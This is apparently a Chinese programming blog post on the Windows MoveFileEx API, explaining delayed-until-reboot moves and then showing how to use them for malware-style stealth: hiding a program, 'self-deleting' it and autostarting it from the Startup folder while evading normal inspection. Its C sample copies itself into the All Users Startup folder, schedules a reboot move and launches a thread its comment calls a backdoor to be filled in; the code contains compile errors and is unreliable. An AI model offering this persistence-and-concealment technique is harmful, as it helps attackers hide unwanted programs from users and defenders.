做update的时候 用到的movefileex

当dwFlags被设为MOVEFILE_DELAY_UNTIL_REBOOT时,函数直到系统重启后才移动文件。注意文件的移动是发生在AUTOCHK执行之后,在页面文件创建之前。而此时用户还没有完全的进入操作系统,所以可以应用这点删除那些正常情况下很难删除的文件甚至是页面文件。


lpNewFileName为NULL时, MovefileEx 实现的就是删除的功能。很多杀毒软件和一些恶意程序删除工具就是利用了 MoveFileEx 函数的这个特性来实现的重启后删除病毒。


MOVEFILE_DELAY_UNTIL_REBOOT标记使用时需要具有管理员或者LocalSystem用户的进程上下文。
MOVEFILE_DELAY_UNTIL_REBOOT标记不能和MOVEFILE_COPY_ALLOWED标记一同使用。因为在不同的卷下实现不了真正的移动,



MoveFileEx 把重启后移动的文件和要移到的文件的位置存在下面的多字符注册表值(REG_MULTI_SZ)里:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Manager\PendingFileRenameOperations





MoveFileEx 的利用:实现文件的隐藏、自删除以及自启动。


我们可以将一个程序运行后,就将它移动到一个不易发现的目录下,然后利用 MoveFileEx ,设置dwFlags为MOVEFILE_DELAY_UNTIL_REBOOT,使文件重启后移动到一个可以启动的目录下(对于中文的Windows XP操作系统,启动目录为“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”)。这样文件运行后便立即不在它运行时的目录了,实现了“自删除”功能。下次重启后,系统还没有被登陆,便已经将文件移动到了启动目录里。当用户登陆时,程序启动,随即被移到其他目录中,此时在启动文件夹里也已经没有了它的踪迹,所以通过正常的检查是看不出来文件到底在那里被启动的。整个过程只是调用了一个系统API,没有直接的写注册表
了解 MoveFileEx
MoveFileEx 是MoveFile函数的扩展函数,也是用来移动文件,不过多加了一些功能。 MoveFileEx 函数的原型如下:
BOOL  MoveFileEx  (
LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName,  DWORD dwFlags );
第一个参数是要移动的文件名,第二个是移动后的文件名,最后一个参数决定了移动的方式。
仔细看最后一个参数可取的值,其中一项为MOVEFILE_DELAY_UNTIL_REBOOT ,MSDN中对此标记描述如下:
The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups. 
This flag can only be used if the process is in the context of a user who belongs to the administrator group or the LocalSystem account. 
This flag cannot be used with the MOVEFILE_COPY_ALLOWED flag.
当dwFlags被设为MOVEFILE_DELAY_UNTIL_REBOOT时,函数直到系统重启后才移动文件。注意文件的移动是发生在 AUTOCHK执行之后,在页面文件创建之前。而此时用户还没有完全的进入操作系统,所以可以应用这点删除那些正常情况下很难删除的文件甚至是页面文件。
lpNewFileName为NULL时, MovefileEx 实现的就是删除的功能。很多杀毒软件和一些恶意程序删除工具就是利用了  MoveFileEx 函数的这个特性来实现的重启后删除病毒。
MOVEFILE_DELAY_UNTIL_REBOOT标记使用时需要具有管理员或者LocalSystem用户的进程上下文。
MOVEFILE_DELAY_UNTIL_REBOOT标记不能和MOVEFILE_COPY_ALLOWED标记一同使用。因为在不同的卷下实现不了 真正的移动,MOVEFILE_COPY_ALLOWED标记使用的时候,函数通过模拟CopyFile 和 DeleteFile 两个函数实现移动。正在运行的程序不能移动到不同的卷(分区)下,这时只实现了Copyfile,下一步DeleteFile没有成功,正在运行的程序是 不能删除的。

当dwFlags参数被设置为MOVEFILE_DELAY_UNTIL_REBOOT时, MoveFileEx 把重启后移动的文件和要移到的文件的位置 存在下面的多字符注册表值(REG_MULTI_SZ)里:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Control\Session\Manager\PendingFileRenameOperations。


#include "stdafx.h"
#include <stdio.h>
#pragma comment(linker,"/SUBSYSTEM:WINDOWS")

DWORD WINAPI StartShell(LPVOID lpParam);

int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR    lpCmdLine,
                    int      nCmdShow)
{

    char szPath[100]={0};
    ::GetSystemDirectory(szPath,MAX_PATH);
    char    szDst[100]={0};
    for (int i=0; i<3;i++)
        szDst=szPath;
    strcat(szDst,"Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\mao.exe");


    TCHAR szTmp={0};
    if(!GetModuleFileName(NULL,szTmp,sizeof(szTmp)))
    {
        
        return 0;
    }
    int r;  
    r=strcmp(szTmp,szDst);
    if(!r)
    {
        goto stop;
    }
        
    if(!CopyFile(szTmp,szDst,FALSE))
    {
        return 0;
    }


stop:
    
    //printf("\n\t 现在的目录是%s\n",szDst);

    //得到当前程序名
    TCHAR szCurPath;
    memset(szCurPath,  0,  MAX_PATH);  
    GetModuleFileName(NULL,  szCurPath,  sizeof(szCurPath)/sizeof(TCHAR));

    if (!( MoveFileEx (szCurPath,"c:\\WINDOWS\\FK.BAK",MOVEFILE_REPLACE_EXISTING |MOVEFILE_COPY_ALLOWED)))//若是要在不同的volume下移动文件,需要此项 COPY_ALLOWED

        ::MessageBox(NULL,"第一次移动文件失败","test",MB_OK);  

        if(!:: MoveFileEx ("c:\\WINDOWS\\FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING))
        {
            ::MessageBox(NULL,"移动文件失败","test",MB_OK);  
        }
        else printf("任务完成\n");
        /*system("pause");*/
  

        //创建并等待线程
        //StartShell 为后门线程函数,大家可以自己实现相应的功能
        HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);
        ::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK);
        CloseHandle(hthread);
        ::WaitForSingleObject(hthread,INFINITE);
  
        return 0;
}

DWORD WINAPI StartShell(LPVOID lpParam)
{
  ::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK);
  return 0;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值